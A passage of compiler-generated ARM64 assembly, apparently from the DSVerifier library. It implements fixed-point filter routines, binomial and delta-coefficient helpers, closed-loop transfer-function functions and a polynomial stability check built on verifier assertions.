ldr w1, [x29, 100]
ldr w0, [x29, 80]
cmp w1, w0
blt .L725
b .L724
.L734:
nop
.L724:
ldr w0, [x29, 96]
add w0, w0, 1
str w0, [x29, 96]
.L721:
ldr w1, [x29, 96]
ldr w0, [x29, 84]
cmp w1, w0
blt .L726
ldr x0, [x29, 112]
ldr x1, [x0]
ldr x0, [x29, 48]
str x1, [x0]
mov w0, 1
str w0, [x29, 96]
b .L727
.L732:
ldrsw x0, [x29, 96]
lsl x0, x0, 3
ldr x1, [x29, 48]
add x0, x1, x0
str xzr, [x0]
ldrsw x0, [x29, 96]
lsl x0, x0, 3
ldr x1, [x29, 48]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [x29, 112]
ldrsw x1, [x29, 96]
ldr x3, [x0, x1, lsl 3]
ldrsw x0, [x29, 96]
lsl x0, x0, 3
ldr x1, [x29, 48]
add x19, x1, x0
mov x1, x3
mov x0, x2
bl fxp_add
str x0, [x19]
mov w0, 1
str w0, [x29, 100]
b .L728
.L731:
ldr w1, [x29, 100]
ldr w0, [x29, 96]
cmp w1, w0
bgt .L735
ldrsw x0, [x29, 96]
lsl x0, x0, 3
ldr x1, [x29, 48]
add x0, x1, x0
ldr x20, [x0]
ldr w1, [x29, 96]
ldr w0, [x29, 100]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [x29, 48]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [x29, 100]
lsl x0, x0, 3
ldr x1, [x29, 64]
add x0, x1, x0
ldr x0, [x0]
neg x0, x0
mov x1, x0
mov x0, x2
bl fxp_mult
mov x2, x0
ldrsw x0, [x29, 96]
lsl x0, x0, 3
ldr x1, [x29, 48]
add x19, x1, x0
mov x1, x2
mov x0, x20
bl fxp_add
str x0, [x19]
ldr w0, [x29, 100]
add w0, w0, 1
str w0, [x29, 100]
.L728:
ldr w1, [x29, 100]
ldr w0, [x29, 60]
cmp w1, w0
blt .L731
b .L730
.L735:
nop
.L730:
ldr w0, [x29, 96]
add w0, w0, 1
str w0, [x29, 96]
.L727:
ldr w1, [x29, 96]
ldr w0, [x29, 84]
cmp w1, w0
blt .L732
mov sp, x21
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 120]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L733
bl __stack_chk_fail
.L733:
mov sp, x29
ldp x19, x20, [sp, 16]
ldr x21, [sp, 32]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 21
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE111:
.size fxp_direct_form_1_impl2, .-fxp_direct_form_1_impl2
.align 2
.global nchoosek
.type nchoosek, %function
nchoosek:
.LFB112:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
ldr w0, [sp, 24]
cmp w0, 0
bne .L737
mov w0, 1
b .L738
.L737:
ldr w0, [sp, 28]
sub w2, w0, #1
ldr w0, [sp, 24]
sub w0, w0, #1
mov w1, w0
mov w0, w2
bl nchoosek
mov w1, w0
ldr w0, [sp, 28]
mul w1, w1, w0
ldr w0, [sp, 24]
sdiv w0, w1, w0
.L738:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE112:
.size nchoosek, .-nchoosek
.align 2
.global generate_delta_coefficients
.type generate_delta_coefficients, %function
generate_delta_coefficients:
.LFB113:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -80
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str d0, [sp, 32]
ldr w0, [sp, 44]
sub w0, w0, #1
str w0, [sp, 84]
str wzr, [sp, 76]
b .L740
.L743:
str xzr, [sp, 88]
str wzr, [sp, 80]
b .L741
.L742:
ldrsw x0, [sp, 80]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d8, [x0]
ldr w1, [sp, 84]
ldr w0, [sp, 80]
sub w2, w1, w0
ldr w1, [sp, 76]
ldr w0, [sp, 80]
sub w0, w1, w0
mov w1, w0
mov w0, w2
bl nchoosek
scvtf d0, w0
fmul d0, d8, d0
ldr d1, [sp, 88]
fadd d0, d1, d0
str d0, [sp, 88]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L741:
ldr w1, [sp, 80]
ldr w0, [sp, 76]
cmp w1, w0
ble .L742
ldr w1, [sp, 84]
ldr w0, [sp, 76]
sub w0, w1, w0
scvtf d0, w0
fmov d1, d0
ldr d0, [sp, 32]
bl internal_pow
fmov d1, d0
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr d0, [sp, 88]
fmul d0, d1, d0
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L740:
ldr w1, [sp, 76]
ldr w0, [sp, 84]
cmp w1, w0
ble .L743
nop
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE113:
.size generate_delta_coefficients, .-generate_delta_coefficients
.align 2
.global get_delta_transfer_function
.type get_delta_transfer_function, %function
get_delta_transfer_function:
.LFB114:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str d0, [sp, 16]
ldr d0, [sp, 16]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl generate_delta_coefficients
ldr d0, [sp, 16]
ldr w2, [sp, 40]
ldr x1, [sp, 24]
ldr x0, [sp, 32]
bl generate_delta_coefficients
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE114:
.size get_delta_transfer_function, .-get_delta_transfer_function
.align 2
.global get_delta_transfer_function_with_base
.type get_delta_transfer_function_with_base, %function
get_delta_transfer_function_with_base:
.LFB115:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -96
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str d0, [sp, 32]
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 96]
ldr w0, [sp, 60]
sub w0, w0, #1
str w0, [sp, 100]
str wzr, [sp, 88]
b .L746
.L749:
str xzr, [sp, 104]
str wzr, [sp, 92]
b .L747
.L748:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr d8, [x0]
ldr w1, [sp, 96]
ldr w0, [sp, 92]
sub w2, w1, w0
ldr w1, [sp, 88]
ldr w0, [sp, 92]
sub w0, w1, w0
mov w1, w0
mov w0, w2
bl nchoosek
scvtf d0, w0
fmul d0, d8, d0
ldr d1, [sp, 104]
fadd d0, d1, d0
str d0, [sp, 104]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L747:
ldr w1, [sp, 92]
ldr w0, [sp, 88]
cmp w1, w0
ble .L748
ldr w1, [sp, 96]
ldr w0, [sp, 88]
sub w0, w1, w0
scvtf d0, w0
fmov d1, d0
ldr d0, [sp, 32]
bl internal_pow
fmov d1, d0
ldrsw x0, [sp, 88]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldr d0, [sp, 104]
fmul d0, d1, d0
str d0, [x0]
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L746:
ldr w1, [sp, 88]
ldr w0, [sp, 96]
cmp w1, w0
ble .L749
str wzr, [sp, 88]
b .L750
.L753:
str xzr, [sp, 104]
str wzr, [sp, 92]
b .L751
.L752:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 72]
add x0, x1, x0
ldr d8, [x0]
ldr w1, [sp, 100]
ldr w0, [sp, 92]
sub w2, w1, w0
ldr w1, [sp, 88]
ldr w0, [sp, 92]
sub w0, w1, w0
mov w1, w0
mov w0, w2
bl nchoosek
scvtf d0, w0
fmul d0, d8, d0
ldr d1, [sp, 104]
fadd d0, d1, d0
str d0, [sp, 104]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L751:
ldr w1, [sp, 92]
ldr w0, [sp, 88]
cmp w1, w0
ble .L752
ldr w1, [sp, 100]
ldr w0, [sp, 88]
sub w0, w1, w0
scvtf d0, w0
fmov d1, d0
ldr d0, [sp, 32]
bl internal_pow
fmov d1, d0
ldrsw x0, [sp, 88]
lsl x0, x0, 3
ldr x1, [sp, 64]
add x0, x1, x0
ldr d0, [sp, 104]
fmul d0, d1, d0
str d0, [x0]
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L750:
ldr w1, [sp, 88]
ldr w0, [sp, 100]
cmp w1, w0
ble .L753
nop
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE115:
.size get_delta_transfer_function_with_base, .-get_delta_transfer_function_with_base
.align 2
.global ft_closedloop_series
.type ft_closedloop_series, %function
ft_closedloop_series:
.LFB116:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
.cfi_def_cfa_register 29
str x19, [sp, 16]
sub sp, sp, #16
.cfi_offset 19, -112
str x0, [x29, 88]
str w1, [x29, 84]
str x2, [x29, 72]
str w3, [x29, 80]
str x4, [x29, 64]
str w5, [x29, 60]
str x6, [x29, 48]
str w7, [x29, 56]
ldr x0, [x29, 128]
str x0, [x29, 40]
ldr x0, [x29, 144]
str x0, [x29, 32]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 120]
mov x1, 0
mov x0, sp
mov x19, x0
ldr w1, [x29, 84]
ldr w0, [x29, 60]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 136]
ldr w1, [x29, 80]
ldr w0, [x29, 56]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 152]
ldr w0, [x29, 152]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 104]
sxtw x1, w0
mov x14, x1
mov x15, 0
lsr x1, x14, 58
lsl x11, x15, 6
orr x11, x1, x11
lsl x10, x14, 6
sxtw x1, w0
mov x12, x1
mov x13, 0
lsr x1, x12, 58
lsl x9, x13, 6
orr x9, x1, x9
lsl x8, x12, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L755:
cmp sp, x1
beq .L756
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L755
.L756:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L757
str xzr, [sp, 1024]
.L757:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 112]
ldr w5, [x29, 136]
ldr x4, [x29, 40]
ldr w3, [x29, 60]
ldr x2, [x29, 64]
ldr w1, [x29, 84]
ldr x0, [x29, 88]
bl poly_mult
ldr w5, [x29, 152]
ldr x4, [x29, 112]
ldr w3, [x29, 56]
ldr x2, [x29, 48]
ldr w1, [x29, 80]
ldr x0, [x29, 72]
bl poly_mult
ldr w5, [x29, 152]
ldr x4, [x29, 32]
ldr w3, [x29, 152]
ldr x2, [x29, 112]
ldr w1, [x29, 136]
ldr x0, [x29, 40]
bl poly_sum
mov sp, x19
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 120]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L758
bl __stack_chk_fail
.L758:
mov sp, x29
ldr x19, [sp, 16]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE116:
.size ft_closedloop_series, .-ft_closedloop_series
.align 2
.global ft_closedloop_sensitivity
.type ft_closedloop_sensitivity, %function
ft_closedloop_sensitivity:
.LFB117:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
.cfi_def_cfa_register 29
str x19, [sp, 16]
sub sp, sp, #16
.cfi_offset 19, -112
str x0, [x29, 88]
str w1, [x29, 84]
str x2, [x29, 72]
str w3, [x29, 80]
str x4, [x29, 64]
str w5, [x29, 60]
str x6, [x29, 48]
str w7, [x29, 56]
ldr x0, [x29, 128]
str x0, [x29, 40]
ldr x0, [x29, 144]
str x0, [x29, 32]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 120]
mov x1, 0
mov x0, sp
mov x19, x0
ldr w1, [x29, 84]
ldr w0, [x29, 60]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 100]
ldr w1, [x29, 80]
ldr w0, [x29, 56]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 152]
ldr w1, [x29, 80]
ldr w0, [x29, 56]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 136]
ldr w0, [x29, 100]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 104]
sxtw x1, w0
mov x14, x1
mov x15, 0
lsr x1, x14, 58
lsl x11, x15, 6
orr x11, x1, x11
lsl x10, x14, 6
sxtw x1, w0
mov x12, x1
mov x13, 0
lsr x1, x12, 58
lsl x9, x13, 6
orr x9, x1, x9
lsl x8, x12, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L760:
cmp sp, x1
beq .L761
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L760
.L761:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L762
str xzr, [sp, 1024]
.L762:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 112]
ldr w5, [x29, 136]
ldr x4, [x29, 40]
ldr w3, [x29, 56]
ldr x2, [x29, 48]
ldr w1, [x29, 80]
ldr x0, [x29, 72]
bl poly_mult
ldr w5, [x29, 100]
ldr x4, [x29, 112]
ldr w3, [x29, 60]
ldr x2, [x29, 64]
ldr w1, [x29, 84]
ldr x0, [x29, 88]
bl poly_mult
ldr w5, [x29, 152]
ldr x4, [x29, 32]
ldr w3, [x29, 100]
ldr x2, [x29, 112]
ldr w1, [x29, 136]
ldr x0, [x29, 40]
bl poly_sum
mov sp, x19
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 120]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L763
bl __stack_chk_fail
.L763:
mov sp, x29
ldr x19, [sp, 16]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE117:
.size ft_closedloop_sensitivity, .-ft_closedloop_sensitivity
.align 2
.global ft_closedloop_feedback
.type ft_closedloop_feedback, %function
ft_closedloop_feedback:
.LFB118:
.cfi_startproc
stp x29, x30, [sp, -176]!
.cfi_def_cfa_offset 176
.cfi_offset 29, -176
.cfi_offset 30, -168
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
sub sp, sp, #16
.cfi_offset 19, -160
.cfi_offset 20, -152
.cfi_offset 21, -144
.cfi_offset 22, -136
.cfi_offset 23, -128
.cfi_offset 24, -120
str x0, [x29, 120]
str w1, [x29, 116]
str x2, [x29, 104]
str w3, [x29, 112]
str x4, [x29, 96]
str w5, [x29, 92]
str x6, [x29, 80]
str w7, [x29, 88]
ldr x0, [x29, 176]
str x0, [x29, 72]
ldr x0, [x29, 192]
str x0, [x29, 64]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 168]
mov x1, 0
mov x0, sp
mov x24, x0
ldr w1, [x29, 112]
ldr w0, [x29, 92]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 184]
ldr w1, [x29, 112]
ldr w0, [x29, 88]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 200]
ldr w1, [x29, 116]
ldr w0, [x29, 92]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 132]
ldr w0, [x29, 200]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 136]
sxtw x1, w0
mov x22, x1
mov x23, 0
lsr x1, x22, 58
lsl x15, x23, 6
orr x15, x1, x15
lsl x14, x22, 6
sxtw x1, w0
mov x20, x1
mov x21, 0
lsr x1, x20, 58
lsl x13, x21, 6
orr x13, x1, x13
lsl x12, x20, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L765:
cmp sp, x1
beq .L766
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L765
.L766:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L767
str xzr, [sp, 1024]
.L767:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 144]
ldr w0, [x29, 132]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 152]
sxtw x1, w0
mov x18, x1
mov x19, 0
lsr x1, x18, 58
lsl x11, x19, 6
orr x11, x1, x11
lsl x10, x18, 6
sxtw x1, w0
mov x16, x1
mov x17, 0
lsr x1, x16, 58
lsl x9, x17, 6
orr x9, x1, x9
lsl x8, x16, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L768:
cmp sp, x1
beq .L769
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L768
.L769:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L770
str xzr, [sp, 1024]
.L770:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 160]
ldr w5, [x29, 132]
ldr x4, [x29, 160]
ldr w3, [x29, 92]
ldr x2, [x29, 96]
ldr w1, [x29, 116]
ldr x0, [x29, 120]
bl poly_mult
ldr w5, [x29, 200]
ldr x4, [x29, 144]
ldr w3, [x29, 88]
ldr x2, [x29, 80]
ldr w1, [x29, 112]
ldr x0, [x29, 104]
bl poly_mult
ldr w5, [x29, 200]
ldr x4, [x29, 64]
ldr w3, [x29, 200]
ldr x2, [x29, 144]
ldr w1, [x29, 132]
ldr x0, [x29, 160]
bl poly_sum
ldr w5, [x29, 184]
ldr x4, [x29, 72]
ldr w3, [x29, 92]
ldr x2, [x29, 96]
ldr w1, [x29, 112]
ldr x0, [x29, 104]
bl poly_mult
mov sp, x24
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 168]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L771
bl __stack_chk_fail
.L771:
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x29, x30, [sp], 176
.cfi_restore 30
.cfi_restore 29
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE118:
.size ft_closedloop_feedback, .-ft_closedloop_feedback
.align 2
.global check_stability_closedloop
.type check_stability_closedloop, %function
check_stability_closedloop:
.LFB119:
.cfi_startproc
stp x29, x30, [sp, -224]!
.cfi_def_cfa_offset 224
.cfi_offset 29, -224
.cfi_offset 30, -216
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str d8, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -208
.cfi_offset 20, -200
.cfi_offset 21, -192
.cfi_offset 22, -184
.cfi_offset 23, -176
.cfi_offset 24, -168
.cfi_offset 25, -160
.cfi_offset 26, -152
.cfi_offset 72, -144
str x0, [x29, 136]
str w1, [x29, 132]
str x2, [x29, 120]
str w3, [x29, 128]
str x4, [x29, 112]
str w5, [x29, 108]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 216]
mov x1, 0
mov x0, sp
mov x26, x0
ldr w0, [x29, 132]
str w0, [x29, 148]
ldr w1, [x29, 132]
ldr w0, [x29, 132]
lsl w0, w0, 1
sub w2, w0, #1
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 176]
sxtw x0, w1
mov x24, x0
mov x25, 0
lsr x0, x24, 58
lsl x19, x25, 6
orr x19, x0, x19
lsl x18, x24, 6
sxtw x0, w1
lsl x19, x0, 3
sxtw x0, w2
sub x0, x0, #1
str x0, [x29, 184]
sxtw x0, w1
mov x12, x0
mov x13, 0
sxtw x0, w2
mov x10, x0
mov x11, 0
mul x3, x12, x10
umulh x0, x12, x10
madd x0, x13, x10, x0
madd x0, x12, x11, x0
mov x22, x3
mov x23, x0
lsr x0, x22, 58
lsl x17, x23, 6
orr x17, x0, x17
lsl x16, x22, 6
sxtw x0, w1
mov x8, x0
mov x9, 0
sxtw x0, w2
mov x6, x0
mov x7, 0
mul x3, x8, x6
umulh x0, x8, x6
madd x0, x9, x6, x0
madd x0, x8, x7, x0
mov x20, x3
mov x21, x0
lsr x0, x20, 58
lsl x15, x21, 6
orr x15, x0, x15
lsl x14, x20, 6
sxtw x1, w1
sxtw x0, w2
mul x0, x1, x0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L773:
cmp sp, x1
beq .L774
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L773
.L774:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L775
str xzr, [sp, 1024]
.L775:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 192]
str wzr, [x29, 164]
ldr x0, [x29, 120]
str x0, [x29, 200]
ldr x0, [x29, 112]
str x0, [x29, 208]
str xzr, [x29, 168]
str wzr, [x29, 152]
b .L776
.L777:
ldrsw x0, [x29, 152]
lsl x0, x0, 3
ldr x1, [x29, 136]
add x0, x1, x0
ldr d0, [x0]
ldr d1, [x29, 168]
fadd d0, d1, d0
str d0, [x29, 168]
ldr w0, [x29, 152]
add w0, w0, 1
str w0, [x29, 152]
.L776:
ldr w1, [x29, 152]
ldr w0, [x29, 132]
cmp w1, w0
blt .L777
ldr d0, [x29, 168]
fcmpe d0, #0.0
cset w0, gt
and w0, w0, 255
bl __DSVERIFIER_assert
str xzr, [x29, 168]
str wzr, [x29, 152]
b .L778
.L779:
ldrsw x0, [x29, 152]
lsl x0, x0, 3
ldr x1, [x29, 136]
add x0, x1, x0
ldr d8, [x0]
ldr w0, [x29, 132]
sub w1, w0, #1
ldr w0, [x29, 152]
sub w0, w1, w0
scvtf d0, w0
fmov d1, d0
fmov d0, -1.0e+0
bl internal_pow
fmul d0, d8, d0
ldr d1, [x29, 168]
fadd d0, d1, d0
str d0, [x29, 168]
ldr w0, [x29, 152]
add w0, w0, 1
str w0, [x29, 152]
.L778:
ldr w1, [x29, 152]
ldr w0, [x29, 132]
cmp w1, w0
blt .L779
ldr w0, [x29, 132]
sub w0, w0, #1
scvtf d0, w0
fmov d1, d0
fmov d0, -1.0e+0
bl internal_pow
fmov d1, d0
ldr d0, [x29, 168]
fmul d0, d0, d1
str d0, [x29, 168]
ldr d0, [x29, 168]
fcmpe d0, #0.0
cset w0, gt
and w0, w0, 255
bl __DSVERIFIER_assert
ldrsw x0, [x29, 132]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [x29, 136]
add x0, x1, x0
ldr d0, [x0]
bl internal_abs
fmov d1, d0
ldr x0, [x29, 136]
ldr d0, [x0]
fcmpe d1, d0
cset w0, mi
and w0, w0, 255
bl __DSVERIFIER_assert
str wzr, [x29, 152]
b .L780
.L792:
str wzr, [x29, 156]
b .L781
.L791:
lsr x1, x19, 3
ldr x0, [x29, 192]
ldrsw x2, [x29, 156]
ldrsw x3, [x29, 152]
mul x1, x3, x1
add x1, x2, x1
str xzr, [x0, x1, lsl 3]
ldr w0, [x29, 152]
cmp w0, 0
bne .L782
ldrsw x0, [x29, 156]
lsl x0, x0, 3
ldr x1, [x29, 136]
add x0, x1, x0
lsr x1, x19, 3
ldr d0, [x0]
ldr x0, [x29, 192]
ldrsw x2, [x29, 156]
ldrsw x3, [x29, 152]
mul x1, x3, x1
add x1, x2, x1
str d0, [x0, x1, lsl 3]
b .L783
.L782:
ldr w0, [x29, 152]
and w0, w0, 1
cmp w0, 0
beq .L784
str wzr, [x29, 160]
b .L785
.L786:
lsr x2, x19, 3
ldr w0, [x29, 152]
sub w4, w0, #1
ldr w1, [x29, 148]
ldr w0, [x29, 160]
sub w0, w1, w0
sub w3, w0, #1
lsr x1, x19, 3
ldr x0, [x29, 192]
sxtw x3, w3
sxtw x4, w4
mul x2, x4, x2
add x2, x3, x2
ldr d0, [x0, x2, lsl 3]
ldr x0, [x29, 192]
ldrsw x2, [x29, 160]
ldrsw x3, [x29, 152]
mul x1, x3, x1
add x1, x2, x1
str d0, [x0, x1, lsl 3]
ldr w0, [x29, 160]
add w0, w0, 1
str w0, [x29, 160]
.L785:
ldr w1, [x29, 160]
ldr w0, [x29, 148]
cmp w1, w0
blt .L786
ldr w0, [x29, 148]
sub w0, w0, #1
str w0, [x29, 148]
ldr w0, [x29, 148]
str w0, [x29, 156]
b .L783
.L784:
lsr x1, x19, 3
ldr w0, [x29, 152]
sub w2, w0, #2
ldr x0, [x29, 192]
sxtw x2, w2
mul x1, x2, x1
ldr d0, [x0, x1, lsl 3]
fcmpe d0, #0.0
cset w0, gt
and w0, w0, 255
bl __DSVERIFIER_assert
lsr x1, x19, 3
ldr w0, [x29, 152]
sub w3, w0, #2
ldr x0, [x29, 192]
ldrsw x2, [x29, 156]
sxtw x3, w3
mul x1, x3, x1
add x1, x2, x1
ldr d1, [x0, x1, lsl 3]
lsr x1, x19, 3
ldr w0, [x29, 152]
sub w3, w0, #2
ldr x0, [x29, 192]
ldrsw x2, [x29, 148]
sxtw x3, w3
mul x1, x3, x1
add x1, x2, x1
ldr d2, [x0, x1, lsl 3]
lsr x1, x19, 3
ldr w0, [x29, 152]
sub w2, w0, #2
ldr x0, [x29, 192]
sxtw x2, w2
mul x1, x2, x1
ldr d0, [x0, x1, lsl 3]
fdiv d2, d2, d0
lsr x1, x19, 3
ldr w0, [x29, 152]
sub w3, w0, #1
ldr x0, [x29, 192]
ldrsw x2, [x29, 156]
sxtw x3, w3
mul x1, x3, x1
add x1, x2, x1
ldr d0, [x0, x1, lsl 3]
fmul d0, d2, d0
lsr x1, x19, 3
fsub d0, d1, d0
ldr x0, [x29, 192]
ldrsw x2, [x29, 156]
ldrsw x3, [x29, 152]
mul x1, x3, x1
add x1, x2, x1
str d0, [x0, x1, lsl 3]
ldr x0, [x29, 192]
ldr d0, [x0]
fcmpe d0, #0.0
bge .L795
b .L787
.L795:
lsr x1, x19, 3
ldr x0, [x29, 192]
ldrsw x2, [x29, 152]
mul x1, x2, x1
ldr d0, [x0, x1, lsl 3]
fcmpe d0, #0.0
bge .L796
b .L787
.L796:
mov w0, 1
b .L790
.L787:
mov w0, 0
.L790:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assert
.L783:
ldr w0, [x29, 156]
add w0, w0, 1
str w0, [x29, 156]
.L781:
ldr w1, [x29, 156]
ldr w0, [x29, 148]
cmp w1, w0
blt .L791
ldr w0, [x29, 152]
add w0, w0, 1
str w0, [x29, 152]
.L780:
ldr w0, [x29, 132]
lsl w0, w0, 1
sub w0, w0, #1
ldr w1, [x29, 152]
cmp w1, w0
blt .L792
mov w0, 1
mov sp, x26
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 216]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L794
bl __stack_chk_fail
.L794:
mov w0, w1
mov sp, x29
ldr d8, [sp, 80]
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
